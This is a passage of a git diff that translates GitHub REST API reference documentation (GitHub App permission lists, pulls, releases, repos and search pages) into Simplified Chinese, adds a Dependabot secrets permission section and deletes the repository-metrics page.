 - [`PATCH /user/memberships/orgs/:org`](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) (:write)
 
-_Team members_
+_团队成员_
 - [`GET /teams/:team_id/members`](/rest/reference/teams#list-team-members) (:read)
 - [`GET /teams/:team_id/memberships/:username`](/rest/reference/teams#get-team-membership-for-a-user) (:read)
 - [`PUT /teams/:team_id/memberships/:username`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (:write)
 - [`DELETE /teams/:team_id/memberships/:username`](/rest/reference/teams#remove-team-membership-for-a-user) (:write)
 
-_Teams_
+_团队_
 - [`GET /orgs/:org/teams`](/rest/reference/teams#list-teams) (:read)
 - [`POST /orgs/:org/teams`](/rest/reference/teams#create-a-team) (:write)
 - [`GET /orgs/:org/teams/:team_slug`](/rest/reference/teams#get-a-team-by-name) (:read)
@@ -634,7 +634,7 @@ _Teams_
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 - [`GET /teams/:team_id/teams`](/rest/reference/teams#list-child-teams) (:read)
 
-### Permission on "organization administration"
+### 有关“组织管理”的权限
 
 - [`PATCH /orgs/:org`](/rest/reference/orgs#update-an-organization) (:write)
 {% ifversion fpt -%}
@@ -647,11 +647,11 @@ _Teams_
 - [`DELETE /orgs/:org/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization events"
+### 有关“组织事件”的权限
 
 - [`GET /users/:username/events/orgs/:org`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) (:read)
 
-### Permission on "organization hooks"
+### 有关“组织挂钩”的权限
 
 - [`GET /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#list-organization-webhooks) (:read)
 - [`POST /orgs/:org/hooks`](/rest/reference/orgs#webhooks/#create-an-organization-webhook) (:write)
@@ -660,11 +660,11 @@ _Teams_
 - [`DELETE /orgs/:org/hooks/:hook_id`](/rest/reference/orgs#webhooks/#delete-an-organization-webhook) (:write)
 - [`POST /orgs/:org/hooks/:hook_id/pings`](/rest/reference/orgs#webhooks/#ping-an-organization-webhook) (:write)
 
-_Teams_
+_团队_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion ghes %}
-### Permission on "organization pre receive hooks"
+### 有关“组织预接收挂钩”的权限
 
 - [`GET /orgs/:org/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) (:read)
 - [`GET /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) (:read)
@@ -672,7 +672,7 @@ _Teams_
 - [`DELETE /orgs/:org/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "organization projects"
+### 有关“组织项目”的权限
 
 - [`POST /orgs/:org/projects`](/rest/reference/projects#create-an-organization-project) (:write)
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
@@ -693,7 +693,7 @@ _Teams_
 - [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (:write)
 
 {% ifversion fpt or ghec %}
-### Permission on "organization user blocking"
+### 有关"组织用户阻止"的权限
 
 - [`GET /orgs/:org/blocks`](/rest/reference/orgs#list-users-blocked-by-an-organization) (:read)
 - [`GET /orgs/:org/blocks/:username`](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) (:read)
@@ -701,7 +701,7 @@ _Teams_
 - [`DELETE /orgs/:org/blocks/:username`](/rest/reference/orgs#unblock-a-user-from-an-organization) (:write)
 {% endif %}
 
-### Permission on "pages"
+### 有关“页面”的权限
 
 - [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (:read)
 - [`POST /repos/:owner/:repo/pages`](/rest/reference/pages#create-a-github-pages-site) (:write)
@@ -715,9 +715,9 @@ _Teams_
 - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (:write)
 {% endif %}
 
-### Permission on "pull requests"
+### 有关“拉取请求”的权限
 
-Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests.
+拉取请求和议题密切相关。 如果您的 GitHub 应用程序拥有处理拉取请求的权限但没有处理议题的权限，则这些端点将仅限于处理拉取请求。 既返回拉取请求又返回议题的端点将被过滤。 允许对拉取请求和议题进行操作的端点将被限制为仅处理拉取请求。
 
 - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read)
@@ -743,18 +743,18 @@ Pull requests and issues are closely related. If your GitHub App has permissions
 - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write)
 
-_Assignees_
+_受理人_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_事件_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write)
 
-_Labels_
+_标签_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -766,7 +766,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_里程碑_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -774,7 +774,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_反应_
 - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
@@ -792,12 +792,12 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-_Requested reviewers_
+_请求的审查者_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write)
 
-_Reviews_
+_审查_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read)
@@ -806,11 +806,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read)
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write)
 
-### Permission on "profile"
+### 有关“个人资料”的权限
 
 - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write)
 
-### Permission on "repository hooks"
+### 有关“仓库挂钩”的权限
 
 - [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (:read)
 - [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (:write)
@@ -821,7 +821,7 @@ _Reviews_
 - [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (:read)
 
 {% ifversion ghes %}
-### Permission on "repository pre receive hooks"
+### 有关“仓库预接收挂钩”的权限
 
 - [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (:read)
@@ -829,7 +829,7 @@ _Reviews_
 - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write)
 {% endif %}
 
-### Permission on "repository projects"
+### 有关“仓库项目”的权限
 
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
 - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write)
@@ -850,11 +850,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read)
 - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write)
 
-_Teams_
+_团队_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion fpt or ghec %}
-### Permission on "secrets"
+### 有关“密钥”的权限
 
 - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read)
 - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read)
@@ -872,8 +872,26 @@ _Teams_
 - [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (:write)
 {% endif %}
 
+{% ifversion fpt or ghec or ghes > 3.3%}
+### Permission on "dependabot_secrets"
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (:read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (:write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (:read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (:read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (:write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (:write)
+{% endif %}
+
 {% ifversion fpt or ghes > 3.0 or ghec %}
-### Permission on "secret scanning alerts"
+### 对于“密码扫描警报”的权限
 
 - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read)
@@ -881,7 +899,7 @@ _Teams_
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (:read)
 {% endif %}
 
-### Permission on "security events"
+### 有关“安全事件”的权限
 
 - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read)
@@ -902,7 +920,7 @@ _Teams_
 {% endif -%}
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "self-hosted runners"
+### 有关“自托管运行器”的权限
 - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read)
 - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write)
 - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read)
@@ -916,25 +934,25 @@ _Teams_
 - [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "single file"
+### 有关“单个文件”的权限
 
 - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read)
 - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write)
 - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write)
 
-### Permission on "starring"
+### 有关“星标”的权限
 
 - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read)
 - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write)
 - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write)
 
-### Permission on "statuses"
+### 有关“状态”的权限
 
 - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (:read)
 - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (:write)
 
-### Permission on "team discussions"
+### 有关“团队讨论”的权限
 
 - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read)
 - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write)
diff --git a/translations/zh-CN/content/rest/reference/pulls.md b/translations/zh-CN/content/rest/reference/pulls.md
index d8b22a8117..f368bb0351 100644
--- a/translations/zh-CN/content/rest/reference/pulls.md
+++ b/translations/zh-CN/content/rest/reference/pulls.md
@@ -1,6 +1,6 @@
 ---
-title: Pulls
-intro: 'The Pulls API allows you to list, view, edit, create, and even merge pull requests.'
+title: 拉取
+intro: 拉取 API 允许您列出、查看、编辑、创建甚至合并拉取请求。
 redirect_from:
   - /v3/pulls
 versions:
@@ -13,13 +13,13 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Pull Request API allows you to list, view, edit, create, and even merge pull requests. Comments on pull requests can be managed via the [Issue Comments API](/rest/reference/issues#comments).
+拉取请求 API 允许您列出、查看、编辑、创建甚至合并拉取请求。 可以通过[议题评论 API](/rest/reference/issues#comments) 管理对拉取请求的评论。
 
-Every pull request is an issue, but not every issue is a pull request. For this reason, "shared" actions for both features, like manipulating assignees, labels and milestones, are provided within [the Issues API](/rest/reference/issues).
+每个拉取请求都是一个议题，但并非每个议题都是拉取请求。 因此，在[议题 API](/rest/reference/issues) 中为这两项功能提供了“共享”操作，如操作受理人、标签和里程碑。
 
-### Custom media types for pull requests
+### 拉取请求的自定义媒体类型
 
-These are the supported media types for pull requests.
+以下是拉取请求支持的媒体类型。
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
@@ -28,60 +28,59 @@ These are the supported media types for pull requests.
     application/vnd.github.VERSION.diff
     application/vnd.github.VERSION.patch
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+更多信息请参阅“[自定义媒体类型](/rest/overview/media-types)”。
 
-If a diff is corrupt, contact {% data variables.contact.contact_support %}. Include the repository name and pull request ID in your message.
+如果 diff 损坏，请联系 {% data variables.contact.contact_support %}。 在您的消息中包括仓库名称和拉取请求 ID。
 
-### Link Relations
+### 链接关系
 
-Pull Requests have these possible link relations:
+拉取请求具有以下可能的链接关系：
 
-Name | Description
------|-----------|
-`self`| The API location of this Pull Request.
-`html`| The HTML location of this Pull Request.
-`issue`| The API location of this Pull Request's [Issue](/rest/reference/issues).
-`comments`| The API location of this Pull Request's [Issue comments](/rest/reference/issues#comments).
-`review_comments`| The API location of this Pull Request's [Review comments](/rest/reference/pulls#comments).
-`review_comment`| The [URL template](/rest#hypermedia) to construct the API location for a [Review comment](/rest/reference/pulls#comments) in this Pull Request's repository.
-`commits`|The API location of this Pull Request's [commits](#list-commits-on-a-pull-request).
-`statuses`| The API location of this Pull Request's [commit statuses](/rest/reference/repos#statuses), which are the statuses of its `head` branch.
+| 名称                | 描述                                                                                       |
+| ----------------- | ---------------------------------------------------------------------------------------- |
+| `self`            | 此拉取请求的 API 位置。                                                                           |
+| `html`            | 此拉取请求的 HTML 位置。                                                                          |
+| `议题`              | 此拉取请求的[议题](/rest/reference/issues)的 API 位置。                                              |
+| `comments`        | 此拉取请求的[议题评论](/rest/reference/issues#comments)的 API 位置。                                   |
+| `review_comments` | 此拉取请求的[审查评论](/rest/reference/pulls#comments)的 API 位置。                                    |
+| `review_comment`  | 用于为此拉取请求仓库中的[审查评论](/rest/reference/pulls#comments)构建 API 位置的 [URL 模板](/rest#hypermedia)。 |
+| `commits`         | 此拉取请求的[提交](#list-commits-on-a-pull-request)的 API 位置。                                     |
+| `状态`              | 此拉取请求的[提交状态](/rest/reference/repos#statuses)的 API 位置，即其`头部`分支的状态。                        |
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Reviews
+## 审查
 
-Pull Request Reviews are groups of Pull Request Review Comments on the Pull
-Request, grouped together with a state and optional body comment.
+拉取请求审查是拉取请求上的拉取请求审查评论组，与状态和可选的正文注释一起分组。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'reviews' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review comments
+## 审查评论
 
-Pull request review comments are comments on a portion of the unified diff made during a pull request review. Commit comments and issue comments are different from pull request review comments. You apply commit comments directly to a commit and you apply issue comments without referencing a portion of the unified diff. For more information, see "[Create a commit comment](/rest/reference/commits#create-a-commit-comment)" and "[Create an issue comment](/rest/reference/issues#create-an-issue-comment)."
+拉取请求审查评论是在拉取请求审查期间对统一差异的一部分所发表的评论。 提交评论和议题评论不同于拉取请求审查评论。 将提交评论直接应用于提交，然后应用议题评论而不引用统一差异的一部分。 更多信息请参阅“[创建提交评论](/rest/reference/commits#create-a-commit-comment)”和“[创建议题评论](/rest/reference/issues#create-an-issue-comment)”。
 
-### Custom media types for pull request review comments
+### 拉取请求审查评论的自定义媒体类型
 
-These are the supported media types for pull request review comments.
+以下是拉取请求审查评论支持的媒体类型。
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
     application/vnd.github.VERSION.html+json
     application/vnd.github.VERSION.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+更多信息请参阅“[自定义媒体类型](/rest/overview/media-types)”。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review requests
+## 审查请求
 
-Pull request authors and repository owners and collaborators can request a pull request review from anyone with write access to the repository. Each requested reviewer will receive a notification asking them to review the pull request.
+拉取请求作者以及仓库所有者和协作者可以向具有仓库写入权限的任何人请求拉取请求审查。 每个被请求的审查者将收到您要求他们审查拉取请求的通知。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'review-requests' %}{% include rest_operation %}{% endif %}
diff --git a/translations/zh-CN/content/rest/reference/releases.md b/translations/zh-CN/content/rest/reference/releases.md
index a434451bea..c3847909f9 100644
--- a/translations/zh-CN/content/rest/reference/releases.md
+++ b/translations/zh-CN/content/rest/reference/releases.md
@@ -1,5 +1,5 @@
 ---
-title: Releases
+title: 版本发布
 intro: 'The releases API allows you to create, modify, and delete releases and release assets.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -14,10 +14,16 @@ miniTocMaxHeadingLevel: 3
 
 {% note %}
 
-**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets.
+**注：**发布 API 取代了下载 API。 您可以从返回发行版和发行版资产的 API 端点检索下载次数和浏览器下载 URL。
 
 {% endnote %}
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Release assets
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'assets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/zh-CN/content/rest/reference/repos.md b/translations/zh-CN/content/rest/reference/repos.md
index 89a55881b8..4d668cec73 100644
--- a/translations/zh-CN/content/rest/reference/repos.md
+++ b/translations/zh-CN/content/rest/reference/repos.md
@@ -1,6 +1,6 @@
 ---
-title: Repositories
-intro: 'The Repos API allows to create, manage and control the workflow of public and private {% data variables.product.product_name %} repositories.'
+title: 仓库
+intro: '仓库 API 允许创建、管理以及控制公共和私有 {% data variables.product.product_name %} 仓库的工作流程。'
 allowTitleToDifferFromFilename: true
 redirect_from:
   - /v3/repos
@@ -19,11 +19,11 @@ miniTocMaxHeadingLevel: 3
 {% endfor %}
 
 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4742 %}
-## Autolinks
+## 自动链接
 
-To help streamline your workflow, you can use the API to add autolinks to external resources like JIRA issues and Zendesk tickets. For more information, see "[Configuring autolinks to reference external resources](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)."
+为了帮助简化您的工作流程，您可以使用 API 向外部资源（如 JIRA 问题和 Zendesk 事件单）添加自动链接。 更多信息请参阅“[配置自动链接以引用外部资源](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources)”。
 
-{% data variables.product.prodname_github_apps %} require repository administration permissions with read or write access to use the Autolinks API.
+{% data variables.product.prodname_github_apps %} 需要有读写权限的仓库管理权限才能使用 Autolinks API。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'autolinks' %}{% include rest_operation %}{% endif %}
@@ -31,35 +31,34 @@ To help streamline your workflow, you can use the API to add autolinks to extern
 {% endif %}
 
 
-## Contents
+## 内容
 
-These API endpoints let you create, modify, and delete Base64 encoded content in a repository. To request the raw format or rendered HTML (when supported), use custom media types for repository contents.
+此 API 端点允许您在仓库中创建、修改和删除 Base64 编码的内容。 要请求原始格式或渲染的 HTML（如果支持），请对仓库内容使用自定义媒体类型。
 
-### Custom media types for repository contents
+### 仓库内容的自定义媒体类型
 
-[READMEs](/rest/reference/repos#get-a-repository-readme), [files](/rest/reference/repos#get-repository-content), and [symlinks](/rest/reference/repos#get-repository-content) support the following custom media types:
+[自述文件](/rest/reference/repos#get-a-repository-readme)、[文件](/rest/reference/repos#get-repository-content)和[符号链接](/rest/reference/repos#get-repository-content)支持以下自定义媒体类型：
 
     application/vnd.github.VERSION.raw
     application/vnd.github.VERSION.html
 
-Use the `.raw` media type to retrieve the contents of the file.
+使用 `.raw` 媒体类型检索文件内容。
 
-For markup files such as Markdown or AsciiDoc, you can retrieve the rendered HTML using the `.html` media type. Markup languages are rendered to HTML using our open-source [Markup library](https://github.com/github/markup).
+对于 Markdown 或 AsciiDoc 等标记文件，您可以使用 `.html` 媒体类型检索渲染的 HTML。 使用我们的开源[标记库](https://github.com/github/markup)将标记语言渲染为 HTML。
 
-[All objects](/rest/reference/repos#get-repository-content) support the following custom media type:
+[所有对象](/rest/reference/repos#get-repository-content)都支持以下自定义媒体类型：
 
     application/vnd.github.VERSION.object
 
-Use the `object` media type parameter to retrieve the contents in a consistent object format regardless of the content type. For example, instead of an array of objects
-for a directory, the response will be an object with an `entries` attribute containing the array of objects.
+使用 `object` 媒体类型参数以一致的对象格式检索内容，而不考虑内容类型。 例如，响应将是包含对象数组的 `entries` 属性的对象，而不是目录的对象数组。
 
-You can read more about the use of media types in the API [here](/rest/overview/media-types).
+您可以在[此处](/rest/overview/media-types)阅读有关 API 中媒体类型使用情况的更多信息。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'contents' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Forks
+## 复刻
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'forks' %}{% include rest_operation %}{% endif %}
diff --git a/translations/zh-CN/content/rest/reference/repository-metrics.md b/translations/zh-CN/content/rest/reference/repository-metrics.md
deleted file mode 100644
index aea394d6e0..0000000000
--- a/translations/zh-CN/content/rest/reference/repository-metrics.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Repository metrics
-intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
-allowTitleToDifferFromFilename: true
-versions:
-  fpt: '*'
-  ghes: '*'
-  ghae: '*'
-  ghec: '*'
-topics:
-  - API
-miniTocMaxHeadingLevel: 3
----
-
-{% ifversion fpt or ghec %}
-## Community
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% endif %}
-
-## Statistics
-
-The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different
-types of repository activity.
-
-### A word about caching
-
-Computing repository statistics is an expensive operation, so we try to return cached
-data whenever possible.  If the data hasn't been cached when you query a repository's
-statistics, you'll receive a `202` response; a background job is also fired to
-start compiling these statistics. Give the job a few moments to complete, and
-then submit the request again. If the job has completed, that request will receive a
-`200` response with the statistics in the response body.
-
-Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache.
-
-### Statistics exclude some types of commits
-
-The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
-
-To summarize:
-- All statistics exclude merge commits.
-- Contributor statistics also exclude empty commits.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghec %}
-## Traffic
-
-For repositories that you have push access to, the traffic API provides access
-to the information provided in your repository graph. For more information, see "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Viewing traffic to a repository</a>."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-{% endif %}
\ No newline at end of file
diff --git a/translations/zh-CN/content/rest/reference/search.md b/translations/zh-CN/content/rest/reference/search.md
index 19f0a12d45..5aac9dc08b 100644
--- a/translations/zh-CN/content/rest/reference/search.md
+++ b/translations/zh-CN/content/rest/reference/search.md
@@ -1,6 +1,6 @@
 ---
-title: Search
-intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.'
+title: 搜索
+intro: '{% data variables.product.product_name %} 搜索 API 允许您高效地搜索特定项目。'
 redirect_from:
   - /v3/search
 versions:
@@ -13,125 +13,109 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
